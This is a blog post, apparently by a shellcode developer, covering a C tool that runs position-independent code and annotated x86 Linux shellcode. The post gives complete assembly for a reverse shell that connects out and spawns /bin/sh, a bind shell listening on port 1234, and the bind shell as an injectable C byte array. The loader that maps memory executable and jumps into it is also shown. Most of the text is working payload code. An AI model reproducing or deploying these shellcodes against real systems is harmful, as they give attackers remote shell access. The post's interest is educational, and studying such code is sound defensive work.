Introduction
Recently, I finished an interactive shell for windows written in C which is also position independent.
The server component runs on UNIX based OS and I was trying to test out delivery of the PIC to windows machine over network which resulted in writing a simple tool for both Linux/windows that executes PIC files.
The general idea is to allocate virtual memory with executable/write/read permissions, copy some PIC there and run it. On Windows, we use VirtualAlloc() API and on Linux we use mmap(). The following function is from runsc tool.
void xcode(args_t *p) { void *bin; #ifdef WIN bin=VirtualAlloc (0, p->code_len, MEM_COMMIT, PAGE_EXECUTE_READWRITE); #else bin=mmap (0, p->code_len, PROT_EXEC | PROT_WRITE | PROT_READ, MAP_ANON | MAP_PRIVATE, -1, 0); #endif if (bin!=NULL) { memcpy (bin, p->code, p->code_len); //DebugBreak(); ((void(*)())bin)(); #ifdef WIN VirtualFree (bin, p->code_len, MEM_RELEASE); #else munmap (bin, p->code_len); #endif } }
linux shellcodes used
As anyone with experience writing shellcode for windows will tell you, writing Linux shellcodes is much easier.
In x86, parameters for Linux system call are EAX for the syscall_number, then EBX, ECX, EDX, ESI, EDI, EBP used for passing parameters. For the reverse/bind shells, only EAX, EBX and ECX are used because most of the work is accomplished using sys_socketcall
The return value is in EAX. All other registers (including EFLAGS) are preserved across the int 0x80 which makes life easier for writing PIC.
While testing out codes, I came across a couple written by Geyslan G. Bem which I think are worth a mention here, specifically because of just one instruction that surprised me and it’s one of the reasons I love assembly code so much. (when it works)
Normally when I want EDX zero’d in the least amount of code, If EAX is or expected to be less than 0x80000000, I use CDQ to zero EDX. Like the following.
// /* 0000 */ "\x6a\x66" /* push 0x66 */ /* 0002 */ "\x58" /* pop eax */ /* 0003 */ "\x6a\x01" /* push 0x1 */ /* 0005 */ "\x5b" /* pop ebx */ /* 0006 */ "\x99" /* cdq */
The code used by Geyslan which surprised me uses a MUL instruction with EBX set to zero. It doesn’t have to be EBX, it can be any register set to zero but because EBX is used to pass parameter to system call, it’s zero’d first.
// /* 0000 */ "\x31\xdb" /* xor ebx, ebx */ /* 0002 */ "\xf7\xe3" /* mul ebx */ /* 0004 */ "\xb0\x66" /* mov al, 0x66 */ /* 0006 */ "\x43" /* inc ebx */
Which is better? In the case of linux shellcode, it’d be just a personal preference I suppose. Both are same size and accomplish the same thing. Although, I still think using MUL to clear EAX:EDX is good to remember.
The following are just disassemblies of code by Geyslan commented by me for anyone interested in how they work. I fixed a bug with the reverse shell where ebx=sockfd instead of ebx=3 for sys_connect…
I was just curious about how they worked and documented for myself. Maybe someone else will find them useful too.
UPDATE: I’ve been informed the code presented here can be found as far back as 2003 by another author. After I did some more searching, it seems quite a bit of linux shellcode out there for x86 is derived from code by the old security group LSD (who released asmcodes paper in 2001) and various other exploit developers at the time including CORE security.
Reverse Connecting Shell
; 69 byte reverse shell for linux/x86 ; odzhan bits 32 ; setup sock_addr mov eax, ~0x0100007f & 0xFFFFFFFF mov edx, ~0xD2040002 & 0xFFFFFFFF not eax not edx push eax push edx mov ebp, esp ; step 1, create a socket ; socket(AF_INET, SOCK_STREAM, IPPROTO_IP); xor ebx, ebx ; ebx=0 mul ebx ; eax=0, edx=0 mov al, 0x66 ; eax = sys_socketcall inc ebx ; ebx = sys_socket push edx ; protocol = IPPROTO_IP push ebx ; type = SOCK_STREAM push 2 ; family = AF_INET mov ecx, esp ; ecx = &args int 0x80 xchg eax, ebx ; ebx = s ; step 2, assign socket to stdin, stdout, stderr ; dup2 (s, STDIN_FILENO) ; dup2 (s, STDOUT_FILENO) ; dup2 (s, STDERR_FILENO) pop ecx ; ecx=2 dup_loop: mov al, 0x3f ; eax=sys_dup2 int 0x80 dec ecx jns dup_loop ; jump if not signed mov ecx, ebp ; ecx=&sa mov al, 0x66 ; eax=sys_socketcall ; step 3, connect to remote host ; connect (s, &sa, sizeof(sa)); push 0x10 ; sizeof(sa) push ecx ; &sa push ebx ; sockfd mov ecx, esp ; &args push 3 pop ebx ; ebx=sys_connect int 0x80 ; step 4, execute /bin/sh ; execv("/bin//sh", NULL, NULL); mov al, 0xb ; eax=sys_execve push edx ; '\0' push '//sh' ; push '/bin' ; mov ebx, esp ; ebx="/bin//sh", 0 xor ecx, ecx ; ecx=0 argv=0 int 0x80 ; exec sys_execve
Bind Shell
; 73 byte reverse shell for linux/x86 ; odzhan bits 32 ; setup sock_addr mov eax, ~0x00000000 & 0xFFFFFFFF ; ADDR_ANY mov edx, ~0xD2040002 & 0xFFFFFFFF ; 1234, AF_INET not eax not edx push eax push edx mov ebp, esp xor ebx, ebx ; ebx=0 mul ebx ; eax=0, edx=0 ; step 1, create a socket ; socket (AF_INET, SOCK_STREAM, IPPROTO_IP) mov al, 0x66 ; eax = sys_socketcall inc ebx ; ebx = sys_socket push edx ; args.protocol = IPPROTO_IP push ebx ; args.type = SOCK_STREAM push 2 ; args.family = AF_INET mov ecx, esp ; ecx=&args int 0x80 xchg eax, edi ; step 2, bind to port 1234 ; bind (s, &sa, sizeof(sa)) pop ebx ; ebx=2, sys_bind pop esi ; esi=1 push 0x10 ; sizeof(sa) push ebp ; &sa push edi ; s mov al, 0x66 ; eax=sys_socketcall mov ecx, esp ; ecx=&args int 0x80 mov [ecx+4], edx ; clear sa from args ; step 3, listen for incoming connections ; listen (s, 0); mov al, 0x66 ; eax=sys_socketcall mov bl, 4 ; ebx=sys_listen int 0x80 ; step 4, accept connections ; accept (s, 0, 0); mov al, 0x66 ; eax=sys_socketcall inc ebx ; ebx=sys_accept int 0x80 ; step 5, assign socket to stdin, stdout and stderr ; dup2(s, FILENO_STDIN); ; dup2(s, FILENO_STDOUT); ; dup2(s, FILENO_STDERR); push 2 pop ecx ; ecx=2 xchg ebx, eax ; ebx=s dup_loop: push 0x3f pop eax ; eax=sys_dup2 int 0x80 dec ecx jns dup_loop ; step 6, execute /bin//sh inc ecx mov al, 0xb ; eax=sys_execve push ecx push '//sh' ; push '/bin' ; mov ebx, esp ; ebx="/bin//sh", 0 int 0x80 ; exec sys_execve
If wanted a neat formatted C string with the code to further manipulate, see disasm for something like this.
#define BS_SIZE 90 char BS[] = { /* 0000 */ "\xb8\xff\xff\xff\xff" /* mov eax, 0xffffffff */ /* 0005 */ "\xba\xfd\xff\xfb\x2d" /* mov edx, 0x2dfbfffd */ /* 000A */ "\xf7\xd0" /* not eax */ /* 000C */ "\xf7\xd2" /* not edx */ /* 000E */ "\x50" /* push eax */ /* 000F */ "\x52" /* push edx */ /* 0010 */ "\x89\xe5" /* mov ebp, esp */ /* 0012 */ "\x31\xdb" /* xor ebx, ebx */ /* 0014 */ "\xf7\xe3" /* mul ebx */ /* 0016 */ "\xb0\x66" /* mov al, 0x66 */ /* 0018 */ "\x43" /* inc ebx */ /* 0019 */ "\x52" /* push edx */ /* 001A */ "\x53" /* push ebx */ /* 001B */ "\x6a\x02" /* push 0x2 */ /* 001D */ "\x89\xe1" /* mov ecx, esp */ /* 001F */ "\xcd\x80" /* int 0x80 */ /* 0021 */ "\x97" /* xchg edi, eax */ /* 0022 */ "\x5b" /* pop ebx */ /* 0023 */ "\x5e" /* pop esi */ /* 0024 */ "\x6a\x10" /* push 0x10 */ /* 0026 */ "\x55" /* push ebp */ /* 0027 */ "\x57" /* push edi */ /* 0028 */ "\xb0\x66" /* mov al, 0x66 */ /* 002A */ "\x89\xe1" /* mov ecx, esp */ /* 002C */ "\xcd\x80" /* int 0x80 */ /* 002E */ "\x89\x51\x04" /* mov [ecx+0x4], edx */ /* 0031 */ "\xb0\x66" /* mov al, 0x66 */ /* 0033 */ "\xb3\x04" /* mov bl, 0x4 */ /* 0035 */ "\xcd\x80" /* int 0x80 */ /* 0037 */ "\xb0\x66" /* mov al, 0x66 */ /* 0039 */ "\x43" /* inc ebx */ /* 003A */ "\xcd\x80" /* int 0x80 */ /* 003C */ "\x6a\x02" /* push 0x2 */ /* 003E */ "\x59" /* pop ecx */ /* 003F */ "\x93" /* xchg ebx, eax */ /* 0040 */ "\x6a\x3f" /* push 0x3f */ /* 0042 */ "\x58" /* pop eax */ /* 0043 */ "\xcd\x80" /* int 0x80 */ /* 0045 */ "\x49" /* dec ecx */ /* 0046 */ "\x79\xf8" /* jns 0x40 */ /* 0048 */ "\x41" /* inc ecx */ /* 0049 */ "\xb0\x0b" /* mov al, 0xb */ /* 004B */ "\x51" /* push ecx */ /* 004C */ "\x68\x2f\x2f\x73\x68" /* push 0x68732f2f */ /* 0051 */ "\x68\x2f\x62\x69\x6e" /* push 0x6e69622f */ /* 0056 */ "\x89\xe3" /* mov ebx, esp */ /* 0058 */ "\xcd\x80" /* int 0x80 */ };
The tool for running shellcodes can be found here
To zero EAX, EDX, and a third register, this is the most efficient way to do it.
LikeLike
Was pleasantly surprised. I’m sure you’ve seen it long before 🙂 but that’s a new one for me. I’m working on something for Linux might interest you, will email you later in week.
LikeLike